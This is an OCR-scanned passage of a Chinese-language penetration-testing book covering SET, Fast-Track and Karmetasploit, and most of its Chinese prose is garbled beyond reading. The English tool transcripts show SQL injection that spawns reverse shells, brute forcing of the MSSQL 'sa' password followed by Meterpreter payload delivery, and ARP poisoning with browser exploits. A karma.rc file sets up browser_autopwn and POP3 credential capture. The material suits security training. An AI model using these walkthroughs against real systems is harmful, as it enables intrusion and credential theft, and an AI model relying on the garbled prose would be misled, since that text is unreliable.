FIThEESF . Hpr —{@R SET 38 B 5K shell: %3 H. 3K shell 7] LL#E# Meterpreter 4E 5 —4
Wi 7. 54— MMERZ RATTE (Tommy BUZFEE B T H): —/~H Thomas Werth €] 23T
HTTP BEEZEEAT, BT HTTP thilGHITHEGE, HFAH THAEENEAEEE. B R
FHMERSHEREHMNITEE HTTP RiESATIHETR, RATTE 2B ERFH T, RATTE i&
{# A blowfish HiyE#HAT HTTP ¥l ERIINE B -

HAWB A TR 2 SET 1) Web BJER T (— 5281 Web N HBHFEF, fetd 0 3hMLEHE
FRIF R EELE) MELEGEME. BEIEIT SET £ Web B HAHE, 1R RELE SET AR
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H% FH#iA /set-web Bl 0] . SET #9 Web Bl JE F- [ & B Python SCIL, 10 HE —FhIEH R
drig T . R W EE HirEV LEIE T —TMREREE#H A (AP), —HHREHLV
iR, HARR P U AT T 2 e e m BB ELE, BEEB A UEEREN E
K SET LfAfE B R EGE (F4n Java Applet Bt 848 il PR BUR S B2,

10.7 Ih&§

{& Metasploit —#¥, SET th{R7EHE P REHP . “e&HXOLINR T SET BIHEH At
— BRI, RIS RFEE SR SET hREMI AR, CAMER AR BB I MR . 467, &
TREFEdAA LT RS, Fr UUNZONHE ] B 40 2 4ok Q34T 0 B A A2 TR 22235 WA
P .

B4, HGBUFFIRNLAI TR D2 R &R T R, AT 2 FiEE
MAER 4. Wi, ATELZI T 5 M A BE A s 4T fiE, sAE ik 7 F I 4T FF
BTT DA R B M . 4 TREP B R ERIIMERR, R — A B 5, R
W s BT 4T H AR ) R TR SRS SS AORITROE. — MR IidGE &%
JURBI ) KB 95 H AR4A 2R, Wi 1E facebook B#E twitter FEIRAMEME R, Hhewiss A
Al LA 5| B PR P A B HRGE i, XSS R A B TR Z AT IR EE AR TIE.

MR SET Z XK TRENKHAMEEETHE, EHEEN N MBENRE, kT
FdE, IREVBRBE BB T-AIF MRS I M S BRI BE S . SET o] LA#E Bh R B H 45,
EHEEL, WRRKMT, RAUTREHTIRE CBRZ EBHCIHEES .
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Fast-Track

Fast-Track 22— A& T Python FIHE TR, LT —EFy B KEBER TR,
Fast-Track f# i Metasploit #£22 R i 17 Bl B fr RIAEL, R 7] LS L 25 7 i 1) B 2K 5K e V8 % B
i, BRMEZ S, BRI T —LHRF X Metasploit #AT#M S, E#E Microsoft SQL ¥ifi, ¥
£ 181 E B LR N B sh4k i % 88 B it . Fast-Track Fi Dave Kennedy fil|#, Andrew Weidenhamer .
John Melvin #1 Scott White X Fast-Track 78 H 7i#k, H B Fast-Track H Joey Furr (jOfer)#f 1T 4
77 1 BT

Fast-Track ###t T HEHEAKHMERED . E#ALZ KK, WTIEST.fast-track.py —i
(S54F M SET MR, M EFAFKETAFS, Rl Bl EBGEBER, BirsF
EF8, RKEHIRRBERT (IRt n] LU fast-track.py -g -2 INEIFFH Web F-H ).
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oot@bt4:/pentest/exploits/fasttrack# ./fast-track.py -i

s o e o e o ok o ol e o S oo o e oo ol o e o e e o o oo SR o S e o

*EEXEXE Performing dependency checks... *¥*¥**x%
sie e e 3 e o ok ke e s o ok e ke ook o e o ok sk ke s sl o ok e e ok ofe ofe sk o ke e ofe sk e e o o e

*¥** FreeTDS and PYMMSOL are installed. (Check) ***
*** PExpect is installed. (Check) ***

*** (lientForm is installed. (Check) ***

*¥** Psyco is installed. (Check) #***

*** Beautiful Soup is installed. (Check) ***

¥** PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!
Fast-Track Main Menu:

Fast-Track - Where it's 0K to finish in under 3 minutes...

Version: v4.0
Written by: David Kennedy (Rel1K)

1. Fast-Track Updates

2. Autopwn Automation

3. Microsoft SQL Tools

4. Mass Client-Side Attack
5. Exploits

6. Binary to Hex Payload Converter
7. Payload Generator

8. Fast-Track Tutorials

9. Fast-Track Changelog
10. Fast-Track Credits

11. Exit

Enter the number:

fRE] LA 3| Fast-Track 13 EHREFHHITHXRBEH MBS ThEERF . 4TS, &
MREFRHPRINMRREITNHA. RITERR - LEAHAMNETS, EAMH Microsoft SQL
Wifi. FHEPH Autopwn I N R4k T Metasploit ] Autopwn ThEE——R 2 7% E & S i A H
#5 IP Huhk, #F M) TAEE B Fast-Track BR5ER T . BB IERE T — 2 Metasploit H 3%
BB k.

11.1  Microsoft SQL ;£ A

SQLIEATLH; (SQLI) @it i WebR FIF2FF th R & R 7276 IRIH, 7ESQLE A
IANERIES BB — 45 B E K SQLA R ) W LUl i WebfR & 285 A\ Bl JE & #UR FE
T, FEBIEEP AT 2. Fast-Track ] Bl B I IX — I, PIEIMmASQLIE AT,
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i B Ad Ok Web W R R B )8 A PA 2 POSTZ 3. Pl BTG E T HEGEHE EE
538 B bR M AEESQLE AN, RN tsnEE A SRS H A ErR &4 . HXREEHHRE
P -T23E AMS SQLARS: K Web R 4 .

11.1.1 SQLFA—EWFRINEG
M B h % FF Microsoft SQL Tools FF 6 #8E Bit, 2 J5i%+# MSSQL Injector®, 1T S

Pick a list of the tools from below:

0 1. MSSQL Injector
2. MSS50QL Bruter
3. SQLPwnage

Enter your choice : 1

B fE B SQL iE AT AR BT WEA) T B, iX— 577 Sl 5 A T A a8 KX B RS
2% ) URL . URL % &35 MN G BN — 2285 8, Fast-Track iBidEE HE
A)Z ¥R I INJECTHERE, ¥iRMHEENA, W FR:

http://www.secmaniac.com/index.asp?id="INJECTHERE&date=2011

4 Fast-Track JFORBGHRFEN, B EREH d FRBERTE AR, BikEwFBarl
W R ATEGE . AETRAGE L FE S N IO E B R e i AT Y

Enter which SQL Injector you want to use

1. SQL Injector
2. S0L Injector
3. SQL Injector
4. SOL Injector

Query String Parameter Attack

POST Parameter Attack

GET FTP Payload Attack

GET Manual Setup Binary Payload Attack

Enter your choice: 1

. SNIP . . .

Enter the URL of the susceptible site, remember to put "INJECTHERE for the
injectable parameter

Example:http://www.thisisafakesite.com/blah.aspx?id="INJECTHERE&password=blah

® Enter here: http://www.secmaniac.com/index.asp?id="INJECTHERE&date=2011
Sending initial request to enable xp_cmdshell if disabled...
Sending first portion of payload (1/4)...
Sending second portion of payload (2/4)...
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
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Running cleanup before executing the payload...

Running the payload on the server...Sending initial request to enable
xp_cmdshell if disabled...

Sending first portion of payload (1/4)...

Sending second portion of payload (2/4)...

Sending third portion of payload (3/4)...

Sending the last portion of the payload (4/4)...

Running cleanup before executing the payload...

Running the payload on the server...

listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

B! SEaeEE T BERRARS, B RELED SQL AT . FEEWR Web NHIFE
e 7 2800 SQL B H)iBA) e E A FR A0S, AT B A ST HE —RIE,
ZH R EHATARE T D, FEEXEEFET SQL Injector - Query String Parameter
Attack® 5, RN FAST-TRACK #2ft—4 SQL EAf1®, WIS xp_cmdshell f-if L IETIHE R
AfK)i%, Fast-Track ¥ B Z8GE XN EELFE, R 2200 MS SQL @ ATHBUEET .

11.1.2 SQL ;FA—POST ¥

Fast-Track [¥] POST S ¥ ¥ Lb #E4T 1 1l 9 73 i) 3B ) B0l B B RO ECE B /b . 3 XA T
S, AU R E AR S T S T URL % A% Fast-Track 47, Fast-Track < BahiRAlH#E
B AT Bt

Enter which SOL Injector you want to use

. 50L Injector
. SOL Injector
. SQL Injector
. SQL Injector

Query String Parameter Attack

POST Parameter Attack

GET FTP Payload Attack

GET Manual Setup Binmary Payload Attack

Bow o

Enter your choice: 2

This portion allows you to attack all forms on a specific website without having to specify
each parameter. Just type the URL in, and Fast-Track will auto SOL inject to each parameter
looking for both error based injection as well as blind based SQL injection. Simply type
the website you want to attack, and let it roll.

Example: http://www.sqlinjectablesite.com/1ndex.aspx

Enter the URL to attack: http://www.secmaniac.com

Forms detected...attacking the parameters in hopes of exploiting SQL Injection..
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Sending payload to parameter: txtlogin
Sending payload to parameter: txtPassword
[-] The PAYLOAD is being delivered. This can take up to two minutes. [-]

listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:AWINDOWS\system3 2>

IEWRET & BN/, Fast-Track MM T POST #4285, HEATHESH, it SQL
NS T HixENL.

BR: IR TRAME A FTP RAEANR G S EHE 8 AT, 122 FTP 4 Y24 A AL M 4514 48— A3 2 3
by,

1113 FIEA
GERARA I3 1P IR BT S #4 shell, B 1R 75 S B HATHOE AR Al LUE AT A

Enter which SOL Injector you want to use

1. 50L Injector
2. SQL Injector
3. SOL Injector
0O 4. SOL Injector

Query String Parameter Attack

POST Parameter Attack

GET FTP Payload Attack

GET Manual Setup Binary Payload Attack

Enter your choice: 4
The manual portion allows you to customize your attack for whatever reason.

You will need to designate where in the URL the SQL Injection is by using
"INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:
http://www.thisisafakesite.com/blah,aspx?id="INJECTHERE&password=blah

Enter the URL of the susceptible site, remember to put 'INJECTHERE for the
injectible parameter

Example: http://www.thisisafakesite.com/blah.aspx?id="INJECTHERE&password=blah
® Enter here: http://www.secmaniac.com/index.asp?id="'INJECTHERE&date=2010

® Enter the IP Address of server with NetCat Listening: 10.211.55.130
© Enter Port number with NetCat listening: 9090
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Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload....

Sending second portion of payload....

Sending next portion of payload...

Sending the last portion of the payload...

Running cleanup...

Running the payload on the server...

listening on [any] 9030 ...

10.211.55.128: inverse host lookup failed: Unknown server error : Connection
timed out

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1045
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

B, BRTF OENESNO, R, FHEWENRSEIGE, 1 Fast-Track R [AIfF7E SQL
EANMRIAAO, FEEHAKRY (PO LWV OO, ARG B4 B Fast-Track BR45fd
.

11.1.4 MS SQL %K%

Fast-Track T EIFHIDIRET] REZ S MSSQL BifBTHAE T (FE Microsoft SQL By T H ¥ H
PEATUAEREDD . M EFRZEE T MS SQL A4y, MSSQL B ThAEXT Windows tAIE. SQL iAiF,
A RANEFAAEH .

BAE A AR H P E i Windows TAIERT MS SQL AR55 88 ALE . (15 MS SQL %23
SRS iEE T EMRRSAEEAE SQL MERSK, BAREEFHNEEATERE D MS
SQL # sa I/ k% (BI MS SQL HIEWEARGEHEF). HEWEL T, FHEAXEFITOS,
FOLHESTRHRBMOS, IEFREGHERASB/IZOS ., WE sa k7 QSH R HBE
i, ¥FEBEEEHY BRAMELE xp_cmdshell REFEEN R

Fast-Track {3 Fl JLBh 7 iR R R B MS SQL R%54%, AFEFH nmap F MS SQL ERIAH
TCP 1433 ¥ DT HH . AT R H s EVER MS SQL Server 2005 Bl J5 IR A, iXEEhf 4
KR T shA O R SES, XA T IERRAAER . (B Fast-Track A LLE 5 Metasploit & H.,
Wit UDP 1434 B A4k HH MS SQL IR F2{EITHIZN AR .

— B Fast-Track RAH R % i ORI BE sa B 04, Fast-Track B#EH &K
binary-to-hex ¥ ¥ gk AN - - MNEHEA . XNBGEERRIIEM SR, A7 MS SQL iz
il B KRR IR T
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Microsoft SQL Attack Tools
Pick a list of the tools from below:

1. MSS0L Injector
2. MSSOL Bruter
3. SQLPwnage

Enter your choice : 2
Enter the IP Address and Port Number to Attack.

Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SQL Ports (SQL Ping)
(1) want a command prompt and know which system is vulnerable
(v)ulnerable system, I want to add a local admin on the box...
(eYnable xp cmdshell if its disabled (sgl2k and sql2ks)

FEFRA11%EFE T MSSQL Bruter #£0 f5, Fast-Track AFA5 H T 7] AR SR E4E 1) & Fh M ik
. AEFFEUGESMG P REERAT), RS Rdi 2 d ik~ apEN . Frel,
RS TR & X RERREEN.
Fast-Track 7 1 T JLAN B ThAEIE I
® 5 SQL Ping 1 H ZhHeiE 5t ) SRR Th REIE U A R 23/ — B 1P #uhk, I
Al nmap —#¢, REFIH AN EESZTFRLETHE 50 MF WO S0 404 RIFTIR
pLANE AT
o AT IR ThREIR T A VF IR —BLIP Mulik, HF iR B e X H @ F L,
Fast-Track H7# T — M EE AR OSF RN, FHELE bin/dict/wordlist.txt F
® - EIRIARIETN A VFIRIT — A [P Hhk A8 A KRB O & 7 SRt AT 8 1 i
® ¥ SQL ¥wM (SQL Ping) DhEBIEIN{ RN T T8 SQL MR FaFHuhl, A%

i 5545 .

o {Rt& AT shell ThHEEEIN: MBRELIRIT sa 04, ZINEEETHAE A IRIEHE N
247 shell.

® Vulnerable system ({FH BN ARS) ThHEEETN: 7F— MREHFE IR RS L0
— AR EE A .

® /5 xp_cmdshell ZhEEHETN : xp_cmdshell & —~* Fast-Track A RKIZITIKZ#RIE R G 2
B R EFEF . BRMNEHR T, 76 SQL Server 2005 A2 fa IR A S, X IhRER#EEH
ff). {BJ& Fast-Track 7T LA B35 AT 6E. Fast-Track 78 AR B A& B HIT
REGRT, WREE TIXMERI, #8386
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Y] LUE F JLAS % R TR 58 il B A 2 A BB H b £, B 1) i sl 2 4o ) ol i 38 7
Ik, HERZEEG BASEEN LK. AT B OGESR AR AR 1O
A g, RETEEH MS SQL ¥k FERIEIS.

Enter the IP Address and Port Number to Attack.

0O Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SOL Ports (SQL Ping)
(i) want a command prompt and know which system is vulnerable
(v)ulnerable system, I want to add a local admin on the box...
(e)nable xp_cmdshell if its disabled (sql2k and sql2ks)

Enter Option: a
® Enter username for SQL database (example:sa): sa
Configuration file not detected, rumning default path.
Recommend running setup.py install to configure Fast-Track.
Setting default directory...

©® Enter the IP Range to scan for SQL Scan (example 192.168,1,1-255):

Do you want to perform advanced SQL server identification on non-standard SQL
ports? This will use UDP footprinting in order to determine where the SQL
servers are at. This could take quite a long time.

©® Do you want to perform advanced identification, yes or no: yes
[-] Launching SQL Ping, this may take a while to footprint.... [-]

[*] Please wait while we load the module tree...
Brute forcing username: sa

[*] Please wait while we load the module tree...
Brute forcing username: sa

Be patient this could take awhile...

Brute forcing password of passwordz on IP 10.211.55.128:1433
Brute forcing password of on IP 10.211,55.128:1433
Brute forcing password of password on IP 10.211.55.128:1433

SOL Server Compromised: "sa" with password of: "password” on IP
10.211.55.128:1433

Brute forcing password of sqlserver on IP 10.211.55.128:1433
Brute forcing password of sql on IP 10.211.55.128:1433

Brute forcing password of passwordi on IP 10.211.55.128:1433
Brute forcing password of passwordi23 on IP 10.211.55.128:1433
Brute forcing password of complexpassword on IP 10.211.55.128:1433
Brute forcing password of database on IP 10.211.55.128:1433
Brute forcing password of server on IP 10.211.55.128:1433

Brute forcing password of changeme on IP 10.211.55.128:1433
Brute forcing password of change on IP 10.211.55.128:1433

Brute forcing password of sgqlserver2000 on IP 10.211.55.128:1433
Brute forcing password of sqlserver2005 on IP 10.211.55.128:1433
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Brute forcing password of Sqlserver on IP 10.211.55.128:1433
Brute forcing password of SqlServer on IP 10.211.55.128:1433
Brute forcing password of Passwordi on IP 10.211.55.128:1433

« « « SNIP . . .

A o oo o o oo ol o o o o o o o o ok ok ok o o Rk

The following SQL Servers were compromised:
e e e o e e o ok ol e s ol e e o e ke e ko ok R ok e ok ok ok ok e ok R kok

1. 10.211.55.128:1433 *** U/N: sa P/W: password ***
A6 3 0 o o ok e o oo o e o o ok ke o o ke o ok ek R Rk ok ok ok Rk e R R

To interact with system, enter the SQL Server number,
Example: 1. 192.168.1.32 you would type 1

Enter the number:

i # 7 =1 SQL Ping A1 H ) tRIER 1RO )5, R¥E 2 HEZE KRB SQL ¥k
FERTH P 2@, % FPRBMAREESMERN IP GHO, T EENRS S AH[#HO, RE
FARAERER TR, EAEAIEE AR

£ T R4 H IS R LR Fast-Track IR T — M H 24 sa F15 password HIRSH
Jlo FERXFPEOLT, IRV LLERE N BAT, REBFEXNRY, WT iR

Enter number here: 1

Enabling: XP_Cmdshell... _
Finished trying to re-enable xp_cmdshell stored procedure if disabled.

Configuration file not detected, running default path.
Recommend running setup.py install to configure Fast-Track.
Setting default directory...

What port do you want the payload to connect to you on: 4444
Metasploit Reverse Meterpreter Upload Detected..

Launching Meterpreter Handler.

Creating Metasploit Reverse Meterpreter Payload..

Sending payload: c88f3f9ac4bbelebbdail47e0tgbefd48dadéb
Sending payload: ac8cbc47714aaeed2672d69e251cee3dfbad
Metaspleit payload delivered..

Converting our payload to binary, this may take a few...
Cleaning up...

Launching payload, this could take up to a minute...

When finished, close the metasploit handler window to return to other
compromised SQL Servers.

[*] Please wait while we load the module tree...

[*] Handlexr binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...
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[*] Transmitting intermediate stager for over-sized stage...(216 bytes)

[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (10.211.55.130:4444 -> 10.211.55.128:1030)

meterpreter >

T 48 FI AL [ Meterpreter BUaidifir, YREAFEMLASE 2B HIRREA T .

11.1.5 &id SQL B##kFES (SQLPwnage)

SQLPwnage J&—F A2 IRBIZE L HR, ATLLERXS Web [ F 2 Fr 5K A 38 AR A 3L
d1ff) MS SQL AR, IREUEHIML. SQLPwnage nJ A3 —4 Web Jik 5525 M Bt ) 80 w1,
PIUBL 0 38 TR e, IR 2B R, 3278 POST S ¥URA K SQL iEA A B fFERHix
FEAFEE, AR E R TE. A xp_cmdshell 7 B ELLFE, BLASEL Windows i
64KB HIBREIZRAThEE, BEHHEHNRLRANER B RE . FTHRCE AR,
VR ZF Fast-Track T34 % #E Microsoft SQL Tools, 2 j5i%# SQLPwnage (&7 2),
I

SQLPwnagg Main Menu:

1. SQL Injection Search/Exploit by Binary Payload Injection (BLIND)
©® 2. SQL Injection Search/Expleit by Binary Payload Injection (ERROR BASED)
3. SOL Injection single URL exploitation

Enter your choice: 2
. SNIP . . .
Scan a subnet or spider single URL?
1. url
® 2. subnet (new)
3. subnet (lists last scan)

Enter the Number: 2

Enter the ip range, example 192.168.1.1-254: 10.211.55.1-254
Scanning Complete!!! Select a website to spider or spider all??

1. Single Website
© 2. All Websites

Enter the Number: 2

Attempting to Spider: http://10.211.55.128
Crawling http://10.211.55.128 (Max Depth: 100000)
DONE

Found 0 links, following 0 urls in 0+0:0:0
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Spidering is complete.

a4 e o ok ok o e s o o ok o ok % ok e o ok o s sl of ke ol ok o o e ook o e o S o o e Sk ok ok ol o ke ke e e o o e e R o o o o ook o e e o e R

http://10.211.55.128

o 6 o R o o 3 o o o ok e KR s ok ook o ok o o o R s o ol o o o ko o o e o ol o ke o s ke s ke ot o o o o o s e ok

[+] Number of forms detected: 2 [+]

O A S50L Exception has been encountered in the "txtlogin" input field of the
above website.

R W3t 2 7 EEAT SQL JEA 2 RHE L R 5 B, R BB IR AR E I P S
I 775 BATER T HRIEAO, FHAMNTEHIT SQL A RL H T2 E .

g, EERRZL -PURLIEASAO#ITHIRE, RERHENFRNEO, Eafis
FMMBZ G, WIEFI fiFast-Track R LI FTE Wik @, ¥Re]LIE FEED, ZEH#EERN
KT — i EREARYO,

BEREMBMEANREEN, ETHEHMFTH, RATESE Metasploit Meterpreter
Reflective Reverse TCP (TCP Jx # 5 Meterpreter & #7) @, [FAT¥EIEARAEE AL
1 1@, f£ Fast-Track il SQL HEARIFBERINGE, MBEELEFHEHERMO, B
Meterpreter shell #f iU HH ILAEVRTHIRT @ .

what type of payload do you want?

. Custom Packed Fast-Track Reverse Payload (AV Safe)

. Metasploit Reverse VNC Inject (Requires Metasploit)
. Metasploit Meterpreter Payload (Requires Metasploit)
. Metasploit TCP Bind Shell (Requires Metasploit)

. Metasploit Meterpreter Reflective Reverse TCP

. Metasploit Reflective Reverse VNC

= R

Select your choice: §

Enter the port you want to listen on: 9090

[+] Importing 6akb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]

[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: 'xp cmdhshell' if disabled. [+]
[+] Delivery Complete. [+]

Created by msfpayload (http://www.metasploit.com).

Payload: windows/patchupmeterpreter/reverse tcp

Length: 310

Options: LHOST=10.211.55.130,LPORT=9090

Launching MSFCLI Meterpreter Handler

Creating Metasploit Reverse Meterpreter Payload..

Taking raw binary and converting to hex.

Raw binary converted to straight hex.

© [+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]

®@e
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. - « SNIP . ..

Running cleanup betore launching the payload....

[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]
[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (718347 bytes)...

[*] Upload completed.

[*]

b

O [*] Meterpreter session 1 opened (10.211.55.130:9090 -> 10.211.55.128:1031)
meterpreter >
11.2 TSI R 47 gt Fe iR =5

HRREHE N BAR RGN, RAELL B A5 REEERFEMBOFRAT N30, BRSNS
Wt BB AEEAH 7. & Fast-Track P& — “HEHISCHF, B8 EHRAN— LA
CAE, ERRR LI B HI B BArEE RS . A T I8 HoNEE 0 0 B TR R T BT
A, EPEEI 6, FHHITI FEEO:

Enter the number: 6
Binary to Hex Cenerator vo.1

. « SNIP . . .

Enter the path to the file you want to convert to hex: /pentest/exploits/
fasttrack/nc.exe

Finished...
Opening text editor...

// Output will look like this

DEL T 1»>NUL 2>NUL

echo EDS:0 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00337
echo ED_5:1{.'J B8 00 00 00 00 OO 00 00 40 00 00 00 00 00 00 00»>T
echo FDS:20 L 10 003>T

echo EDS:30 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00>>7
echo EDS:40 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C (D 21 54 68>>T
echo EDS:50 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F»>T
echo EDS:60 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20>»7
echo EDS:70 6D 6F 64 65 2E OD 0D OA 24 00 00 DO 00 OO0 00 00>>T

TR T 3B AN AR 25, TF Fast-Track T35 & RS H ¥ r) — ki 30F,
RIFEFF AR RO F M SE G, VR a] L] 5 R 4 HH A DA IR B B bR @ R4 shell
FRIAT, GRSEARRGEH AR MREER H ISR,

174



£ 11ZE Fast-Track

11.3 KMEEPPInIE

KA P T b 5 3 W38 (9 B I R T BE2K A, AR, KCHRMEZ P Bt A T M
WitHAR, TTCAEHR H AR SHLRR S5 ARP 475 A1 DNS 4%, L& % Metasploit
o F AL A RO BUAMN W 2808 B i

4 F P BRI Web AR4-28RY, Fast-Track %430 A #5 LA Metasploit LA Fi 4 1
Wit [ B AT BB T . R B AR ENUFE AT R 04 2R, B E 2 IE
FRERLISE A BRI

© Enter the number: 4

- - 5".1 P L ] L] L

® Enter the IP Address you want the web server to listen on: 10.211.55.130
Specify your payload:
1. Windows Meterpreter Reverse Meterpreter

2. Generic Bind Shell
3. Windows VNC Inject Reverse TCP (aka "Da Gui")

4. Reverse TCP Shell

® Enter the number of the payload you want: 1

ME I 4—Mass Client-Side Attack 7®, 5if Fast-Track Web AR 5525 K W0 1P
i@, 2 EiEE - NBaLEEAe.

BTk, EHREEMEH Ettercap X B #5 #1317 ARP W 3RE( i, Ettercap F-S#HH ¥
VLRI iESk, HRIEKEE B RA SR RS E L. e rEEMEH Ettercap Z2)/50,
AARFEEIRIRA H R AL IP #iht @, Fast-Track ¥ & H 3R & IF Ettercap® .

@ Would you like to use Ettercap to ARP poison a host yes or no: yes

. SNIP . . .

® What IP Address do you want to poison: 10.211.55.128
Setting up the ettercap filters....
Filter created...
Compiling Ettercap filter...

L ] mIF L] L] &

© Filter compiled...Running Ettercap and poisoning target...

— B P o ] PR E RS 4%, Metasploit L& JT A%t HARRA BN B 41O £ T RE
FlFe, RAILAFEE] Adobe i 2E AT RN SEHE, [RIFY—> Meterpreter shell IE7E[BIZE®.
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R EEAE P ART AR ARP £ AMIA &, (2B RIRAS B 1R EALLTFA—
A ZLBRAFRPBETRFATAE, 4 RRIFRA.

[*] Local IP: http://10.211.55.130:8071/

[*] Server started.

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:8072/

[*] Local IP: http://10.211.55.130:8072/

[*] Server started.

msf exploit(zenturiprogramchecker unsafe) >

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:8073/

[*] Local IP: http://10.211.55.130:8073/

[*] Server started.

[*] Sending Adobe Collab.getIcon() Buffer Overflow to 10.211.55.128:1044...

[*] Attempting to exploit ani loadimage chunksize

[*] Sending HTML page to 10.211.55.128:1047...

[*] Sending Adobe JBIG2Decode Memory Corruption Exploit to 10.211.55.128:1046...

[*] Sending exploit to 10.211.55.128:1049...

[*] Attempting to exploit ani loadimage chunksize

[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to
10.211.55.128:1076...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
® [*] Meterpreter session 1 opened (10.211.55.130:9007 -> 10.211.55.128:1077

msf exploit(zenturiprogramchecker unsafe) > sessions -1
Active sessions

*

== 4+

1 Meterpreter 10.211.55.130:9007 -> 10.211.55.128:1077

mst exploit(zenturiprogramchecker unsafe) > sessions -i 1
[*] Starting interaction with 1...

meterpreter »

11.4 /&G. MEFUEEN—REFZ

Fast-Track £ 5 FE 51 H) Metasploit HEEE L3 & 7 HA ) B 3L BLHEE S . MBS H
Metasploit i, Fast-Track SVFIRER SEMB T RERTEES BirEN. H88, BHaMLK2
BR G A BRERT), XBERFLM T RREEIGER RS, oA 408 &R B shib Bt
MIERDIR)LE. £ AshMEE LRAMMER T, SR A CHMRETF T 8E NI
b B, XREIRBCA—ERFRZERAAN K.
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Karmetasploit T XM HEH

Karmetasploit /2 KARMA 7E Metasploit f£3¢ #5580, 11 KARMA & Dino Dai Zovi fl
Shane Macaulay JF & I C£k i EMH . KARMA A T Windows XP il MAC OS X #E RS
I LM n FrEEm B SR SRIERLE BN, SRIEERIFIHRZGERTHTLE
[ 4% .

Wi & ¥ H KARMA 7EAth ) f i B8 — MR E B AP, 2R )5 W Hmapy B bR k& G,
I B A7 S BT F R TR R T LR P45 . [R KB 0 O 2 7 i B B A4 BC B ok B 3
FRTHI L M4, KARMA 7] LLR R E£EBHIE P mt MgiE, SIHEMRAFREERIIE
FihmBd, SIREESEE. B TARREEMERPERSEAIGL, B a] U7ERT &
£, BPABWFHFRLMMT, FH KARMA BERSHEAHBRHMNE., ETHREZXT
KARMA B¥IISEHL, 1§15 LU WbE: hep:/Vtrailofbits.com/karma/ .
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Karmetasploit J& KARMA G2k Al E 4 7 Metasploit #2458 FRISEHL. I T 2 “H08"
[fIAR%, {155 DNS. POP3. IMAP4, SMTP. FTP. SMB Hil HTTP. X% 55 fe RO mE R X
4RI RE K, T H A & R R R R AR Bk (X4 R AU S R R AR SRR A B A T
Metasploit 2 H 3% F ) modules/auxiliary/server F§1%)

121 BcE

Karmetasploit i #5 WACEH/b. 150, RATME A DHCP R4 3% 4 Hhr LE P45 7 & 1P
Hihl. Back|Track 1444 T DHCP R4 8%, {HZH T 454 Karmetasploit fif ], IRA17ZEEI#E—
MEEXHIRCE R, W FER:

© option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
12 range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;

}

B\ 4 cp fetc/dhep3/dhepd.conf /etc/dhcp3/dhepd.conf.back #5170 [ 45 AL B A dhepd.
conf, SRJGAIEH IR E O IEEE, IR 10.0.0.100 £ 10.0.0.254 (3 [ P 32 44t
©. (UIRRXF DHCP e BA MR, AHEL, HRE/RER EIRACE dhepd.conf X, BHEIE
LD

Rk, WATF#H KARMA 30, BObEEA #E & 76 Metasploit H =T IR

root@bt:/opt/metasploit3/msf3# wget http://www.offensive-security.com/downloads/karma.xc

L AIFTIF KARMA W3 A karma.re, AT LLE B E BT K ERFHTFH], wF
FT R

root@bt:/opt/metasploit3/mst3# cat karma.rc
db_connect postgres:toor@127.0.0.1/msfbook
© use auxiliary/server/browser_autopwn
® setg AUTOPWN HOST 10.0.0.1
setg AUTOPWN PORT 55550
setg AUTOPWN_URI /ads
® set LHOST 10.0.0.1
set LPORT 45000
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set SRVPORT 55550
set URIPATH /ads
run
@ use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run

M AT L% (db_connect postgres:toor@127.0.0.1/msfbook) 2 J5,
KARMA {84 in#% browser autopwn 570 . iX & —FpEE3f ) Yo 88 221K B P2 B B R A9 {E
## B h 1% . Metasploit HEZE A f)— o5 PO WA R B BLh S, W R R IR P A5 4
include Msf::Exploit::Remote::BrowserAutopwn:', X3 7R ¥ 1ja] autopwn AR %5 B K Zil AT

@ f1® L nA M IP Hht# ¥R E X 10.0.0.1, XFESEIAN DHCP iLE—8. K5, MM
FMSHECE B30 (I RRAA 7T BB PR, 5 R )

T, WAL M F R E R RIS, SR 77 OB T RATR B MR 6. T
